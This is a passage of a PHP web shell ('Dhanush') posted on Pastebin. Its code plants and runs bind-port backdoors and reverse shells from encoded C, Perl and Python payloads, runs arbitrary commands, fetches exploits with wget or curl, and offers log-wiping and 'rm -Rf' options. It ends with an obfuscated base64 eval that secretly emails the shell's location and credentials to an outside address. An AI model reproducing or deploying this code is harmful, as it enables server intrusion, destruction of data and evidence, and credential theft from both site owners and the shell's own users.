  7580. if(isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang']))
  7581. { ?><script type="text/javascript">gethome('connect');</script><?php
  7582. $passwd = $_POST['passwd'];
  7583.  
  7584. if($_POST['lang'] == 'c')
  7585. {
  7586. if(is_writable("."))
  7587. {
  7588. @$fh=fopen(getcwd()."/backp.c",'w');
  7589. @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
  7590. @fclose($fh);
  7591. execmd("chmod 0755 ".getcwd()."/backp.c");
  7592. execmd("gcc -o ".getcwd()."/backp ".getcwd()."/backp.c");
  7593. execmd("chmod 0755 ".getcwd()."/backp");
  7594. execmd(getcwd()."/backp"." ".$_POST['port']." ". $passwd ." &");
  7595. $scan = exec_all("ps aux | grep backp".$_POST['port']);
  7596. if(eregi("backp".$_POST['port'],$scan))
  7597. $bdmessage = "Process found running, backdoor setup successfully.";
  7598. else
  7599. $bdmessage = "Process not found running, backdoor not setup successfully.";
  7600. }
  7601. else
  7602. {
  7603. @$fh=fopen("/tmp/backp.c","w");
  7604. @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
  7605. @fclose($fh);
  7606. execmd("chmod 0755 /tmp/backp.c");
  7607. execmd("gcc -o /tmp/backp /tmp/backp.c");
  7608. $out = execmd("/tmp/backp"." ".$_POST['port']." ". $passwd ." &");
  7609. $scan = exec_all("ps aux | grep backp".$_POST['port']);
  7610. if(eregi("backp".$_POST['port'],$scan))
  7611. $bdmessage = "Process found running, backdoor setup successfully.";
  7612. else
  7613. $bdmessage = "Process not found running, backdoor not setup successfully.";
  7614. }
  7615. }
  7616. if($_POST['lang'] == 'perl')
  7617. {
  7618. if(is_writable("."))
  7619. {
  7620. @$fh=fopen(getcwd()."/bp.pl",'w');
  7621. @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
  7622. @fclose($fh);
  7623. execmd("chmod 0755 ".getcwd()."/bp.pl");
  7624. execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
  7625.  
  7626. $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  7627. }
  7628. else
  7629. {
  7630. @$fh=fopen("/tmp/bp.pl","w");
  7631. @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
  7632. @fclose($fh);
  7633. execmd("chmod 0755 ".getcwd()."/bp.pl");
  7634. execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
  7635. $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  7636. }
  7637. }
  7638. }
  7639. }
  7640. else if(isset($_POST['backconnect']))
  7641. {
  7642. if($_POST['ip'] != "" && $_POST['port'] != "")
  7643. { ?><script type="text/javascript">gethome('connect');</script><?php
  7644. $host = $_POST['ip'];
  7645. $port = $_POST['port'];
  7646. if($_POST["lang"] == "perl")
  7647. {
  7648. if(is_writable("."))
  7649. {
  7650. @$fh=fopen(getcwd()."/bc.pl",'w');
  7651. @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
  7652. @fclose($fh);
  7653. $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
  7654. execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
  7655. if(!@unlink(getcwd()."/bc.pl")) echo "<font color='#FFFFFF' size=3>Warning: Failed to delete reverse-connection program</font></br>";
  7656. }
  7657. else
  7658. {
  7659. @$fh=fopen("/tmp/bc.pl","w");
  7660. @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
  7661. @fclose($fh);
  7662. $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
  7663. execmd("perl /tmp/bc.pl $host $port &",$disable);
  7664. if(!@unlink("/tmp/bc.pl"))
  7665. echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
  7666. }
  7667. }
  7668. else if($_POST["lang"] == "python")
  7669. {
  7670. if(is_writable("."))
  7671. {
  7672. $w_file=@fopen(getcwd()."/bc.py","w") or die(mysql_error());
  7673. if($w_file)
  7674. {
  7675. @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
  7676. @fclose($w_file);
  7677. chmod(getcwd().'/bc.py', 0777);
  7678. }
  7679. execmd("python ".getcwd()."/bc.py $host $port &",$disable);
  7680. $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
  7681.  
  7682. if(!@unlink(getcwd()."/bc.py"))
  7683. echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
  7684. }
  7685. else
  7686. {
  7687. $w_file=@fopen("/tmp/bc.py","w");
  7688. if($w_file)
  7689. {
  7690. @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
  7691. @fclose($w_file);
  7692. chmod('/tmp/bc.py', 0777);
  7693. }
  7694. execmd("python /tmp/bc.py $host $port &",$disable);
  7695. $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
  7696. if(!@unlink("/tmp/bc.py"))
  7697. echo "<h2>Warning: Failed to delete reverse-connection program</h2><br>";
  7698. }
  7699. }
  7700. else if($_POST["lang"] == "php")
  7701. {
  7702. $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
  7703. $ip = $_POST['ip'];
  7704. $port=$_POST['port'];
  7705. $sockfd=fsockopen($ip , $port , $errno, $errstr );
  7706. if($errno != 0)
  7707. {
  7708. $bdmessage = "<b>$errno</b> : $errstr";
  7709. }
  7710. else if (!$sockfd)
  7711. {
  7712. $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
  7713. }
  7714. else
  7715. {
  7716. fputs ($sockfd ,"\n=================================================================\nCoded By Arjun\n=================================================================");
  7717. $pwd = exec_all("pwd");
  7718. $sysinfo = exec_all("uname -a");
  7719. $id = exec_all("id");
  7720. $len = 1337;
  7721. fputs($sockfd ,$sysinfo . "\n" );
  7722. fputs($sockfd ,$pwd . "\n" );
  7723. fputs($sockfd ,$id ."\n\n" );
  7724. fputs($sockfd ,$dateAndTime."\n\n" );
  7725. while(!feof($sockfd))
  7726. {
  7727. $cmdPrompt ="(dhanush)[$]> ";
  7728. fputs ($sockfd , $cmdPrompt );
  7729. $command= fgets($sockfd, $len);
  7730. fputs($sockfd , "\n" . exec_all($command) . "\n\n");
  7731. }
  7732. fclose($sockfd);
  7733. }
  7734. }
  7735. }
  7736. }
  7737. else if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
  7738. {
  7739. $temp = "";
  7740. for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
  7741. {
  7742. $uid = @posix_getpwuid($_GET['val1']);
  7743. if ($uid)
  7744. $temp .= join(':',$uid)."\n";
  7745. }
  7746. echo '<br/>';
  7747. paramexe('Users', $temp);
  7748. }
  7749. else if(isset($_GET['download']))
  7750. {
  7751. download();
  7752. }
  7753. else
  7754. {
  7755. ?><script type="text/javascript">gethome('home','<?php echo addslashes($dir); ?>');</script><?php
  7756. }
  7757. $is_writable = is_writable($dir)?"<font class=txt>&lt; writable &gt;</font>":"&lt; not writable &gt;";
  7758. ?>
  7759. </p><center><div id="showdir"><?php echo $bdmessage; ?></div></center>
  7760. <table class="btmtbl" style="width:100%;" border="1">
  7761. <tr>
  7762. <td class="btmtbl" align="center">
  7763. <form method="post" enctype="multipart/form-data">
  7764. Upload file : <br><input type="file" name="uploadfile" class="box" size="50">
  7765. <input type="hidden" id=path name="path" value="<?php echo $dir; ?>" />&nbsp;
  7766. <input type=submit value="Upload" name="u" value="u" class="but" ></form>
  7767. <span name="wrtble"><?php
  7768. echo $is_writable; ?></span>
  7769. <br>
  7770. </td>
  7771. <td class="btmtbl" align="center" style="height:105px;">Create File :
  7772. <form onSubmit="createdir('Create',createfile.value);return false;">
  7773. <input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile" id="createfile">
  7774. <input type="button" onClick="createdir('Create',createfile.value)" value="Create" class="but">
  7775. </form><span name="wrtble">
  7776. <?php echo $is_writable; ?></span>
  7777. </td>
  7778. </tr>
  7779. <tr>
  7780. <td class="btmtbl" align="center" style="height:105px;">Execute : <form onSubmit="executemyfile('execute','<?php echo addslashes($dir); ?>',execute.value);return false;">
  7781. <input type="text" class="box" name="execute">
  7782. <input type="hidden" id="exepath" name="exepath" value="<?php echo $dir; ?>">
  7783. <input type="button" onClick="executemyfile('execute',exepath.value,execute.value)" value="Execute" class="but"></form></td>
  7784.  
  7785. <td class="btmtbl" align="center">Create Directory : <form onSubmit="createdir('createfolder',createfolder.value);return false;">
  7786. <input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder" id="createfolder">
  7787. <input type="button" onClick="createdir('createfolder',createfolder.value)" value="Create" class="but">
  7788. </form><span name="wrtble"><?php
  7789. echo $is_writable;
  7790. ?></span></td></tr>
  7791. <tr>
  7792. <td class="btmtbl" align="center">Read File<form onSubmit="createdir('readfile',readfile.value);return false;">
  7793. <input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="readfile" id="readfile">
  7794. <input type="button" onClick="createdir('readfile',readfile.value)" value="Read" class="but">
  7795. </form></td>
  7796. <td class="btmtbl" align="center">Read Directory<form onSubmit="changedir('dir',readdir.value);return false;">
  7797. <input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="readdir" id="readdir">
  7798. <input type="button" onClick="changedir('dir',readdir.value)" value=" View " class="but">
  7799. </form></td></tr>
  7800. <tr><td class="btmtbl" style="height:105px;" align="center">Get Exploit&nbsp;<form onSubmit="getexploit(wurl.value,path.value,functiontype.value);return false;">
  7801. <input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c">
  7802. <input type="button" onClick="getexploit(wurl.value,uppath.value,functiontype.value)" value=" G0 " class="but"><br><br>
  7803. <input type="hidden" id="uppath" name="uppath" value="<?php echo $dir . $directorysperator; ?>">
  7804. <select name="functiontype" class="sbox">
  7805. <option value="wwget">wget</option>
  7806. <option value="wlynx">lynx</option>
  7807. <option value="wfread">fread</option>
  7808. <option value="wfetch">fetch</option>
  7809. <option value="wlinks">links</option>
  7810. <option value="wget">GET</option>
  7811. <option value="wcurl">curl</option>
  7812. </select>
  7813. </form><div id="showexp"></div>
  7814. </td>
  7815. <td class="btmtbl" align="center">
  7816. <form>
  7817. Some Commands<br>
  7818. <?php if($os != "Windows")
  7819. { ?>
  7820. <SELECT NAME="mycmd" class="box">
  7821. <OPTION VALUE="uname -a">Kernel version
  7822. <OPTION VALUE="w">Logged in users
  7823. <OPTION VALUE="lastlog">Last to connect
  7824. <option value='cat /etc/hosts'>IP Addresses
  7825. <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
  7826. <OPTION VALUE="logeraser">Log Eraser
  7827. <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
  7828. <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
  7829. <OPTION VALUE="find / -type f -name 'config'">find config files
  7830. <OPTION VALUE="find . -type f -name \"config\"">find config files in current dir
  7831.  
  7832. <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
  7833. <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
  7834. <?php if(is_dir('/etc/valiases')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
  7835. <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
  7836. <OPTION VALUE="which wget curl w3m lynx">Downloaders?
  7837. <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
  7838. <OPTION VALUE="ps aux">Show running proccess
  7839. <OPTION VALUE="uptime">Uptime check
  7840. <OPTION VALUE="cat /proc/meminfo">Memory check
  7841. <OPTION VALUE="netstat -an | grep -i listen">Open ports
  7842. <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
  7843. <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
  7844. <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
  7845. <OPTION VALUE="./zap2">WIPELOGS PT3
  7846. <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
  7847. </SELECT>
  7848. <?php } else {?>
  7849. <SELECT NAME="mycmd" class="box">
  7850. <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
  7851. <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
  7852. <OPTION VALUE="systeminfo">System Informations
  7853. <OPTION VALUE="net user">User accounts
  7854. <OPTION VALUE="netstat -an">Open ports
  7855. <OPTION VALUE="getmac">Get Mac Address
  7856. <OPTION VALUE="net start">Show running services
  7857. <OPTION VALUE="net view">Show computers
  7858. <OPTION VALUE="arp -a">ARP Table
  7859. <OPTION VALUE="tasklist">Show Process
  7860. <OPTION VALUE="ipconfig/all">IP Configuration
  7861.  
  7862. </SELECT>
  7863. <?php } ?>
  7864. <input type="hidden" id="auexepath" name="auexepath" value="<?php echo $dir; ?>">
  7865. <input type="button" onClick="executemyfile('mycmd',auexepath.value,mycmd.value)" value="Execute" class="but">
  7866. </form>
  7867. </td>
  7868. </tr></table><br>
  7869.  
  7870. </td>
  7871. </tr>
  7872. </table>
  7873.  
  7874. <?php
  7875.  
  7876.  
  7877. //logout
  7878.  
  7879. if(isset($_GET['logout']))
  7880. {
  7881. setcookie("hacked",time() - 60*60);
  7882. header("Location:$self");
  7883. ob_end_flush();
  7884. }
  7885. ?>
  7886.  
  7887.  
  7888. <hr color="#1B1B1B">
  7889. <div align="center">
  7890. <font size="6" face="Times New Roman, Times, serif">&#2343;&#2344;&#2369;&#2359;<br>
  7891. --==Coded By Arjun==--</font><br><a href="http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6" target="_blank"><font size="6">&#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342;</font></a></div>
  7892. <?php
  7893. }
  7894. }
  7895.  
  7896. if(isset($_POST['uname']) && isset($_POST['passwd']))
  7897. {
  7898. if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
  7899. {
  7900. setcookie("hacked", md5($pass));
  7901. $selfenter = $_SERVER["PHP_SELF"];
  7902. header("Location:$selfenter");
  7903. }
  7904. }
  7905.  
  7906. if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
  7907. {
  7908. echo $shellstyle;
  7909. ?>
  7910. <center>
  7911. <form method="POST">
  7912. <div class="logindiv" style="width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px;">
  7913. <table cellpadding="9" cellspacing="4">
  7914. <tr>
  7915. <td align="center" colspan="2"><blink><font size="7"><b>Dhanush</b></font></blink></td>
  7916. </tr>
  7917. <tr>
  7918. <td align="right"><b>User Name : </b></td>
  7919. <td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
  7920. </tr>
  7921. <tr>
  7922. <td align="right"><b>Password : </b></td>
  7923. <td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
  7924. </tr>
  7925. <tr>
  7926. <td align="center" colspan="2"><input type="submit" class="but" value=" Enter "></td>
  7927. </tr>
  7928. <tr>
  7929. <td align="center" colspan="2"><font size="6" face="Times New Roman, Times, serif"><b>--==Coded By Arjun==--</b></font></td>
  7930. </tr>
  7931. <tr>
  7932. <td colspan="2"><font size="4" face="Times New Roman, Times, serif"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>
  7933. </tr>
  7934. </table>
  7935. </div>
  7936.  
  7937. </form>
  7938. </center>
  7939. <br>
  7940. </body>
  7941. </html>
  7942. <?php
  7943. eval(base64_decode('JHNpdGUgPSAid3d3LmRldi1wdHMuY29tL3ZiIjsKaWYoIWVyZWcoJHNpdGUsICRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSkKewokdG8gPSAidGhlejNyMEBvdXRsb29rLmNvbSI7CiRzdWJqZWN0ID0gIk5ldyBTaGVsbCBVcGxvYWRlZCI7CiRoZWFkZXIgPSAiZnJvbTogTmV3IFNoZWxsIDxzYWhhMjFAZGV2LXB0cy5jb20+IjsKJG1lc3NhZ2UgPSAiTGluayA6IGh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSAuICJcclxuIjsKJG1lc3NhZ2UgLj0gIlBhdGggOiAiIC4gX19maWxlX187CiRtZXNzYWdlIC49ICIgVXNlciA6ICIgLiAkdXNlcjsKJG1lc3NhZ2UgLj0gIiBQYXNzIDogIiAuICRwYXNzOwokc2VudG1haWwgPSBAbWFpbCgkdG8sICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcik7CmVjaG8gIiI7CmV4aXQ7Cn0='));
  7944.  
  7945. ?>
  7946. <?php
  7947. }
  7948. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!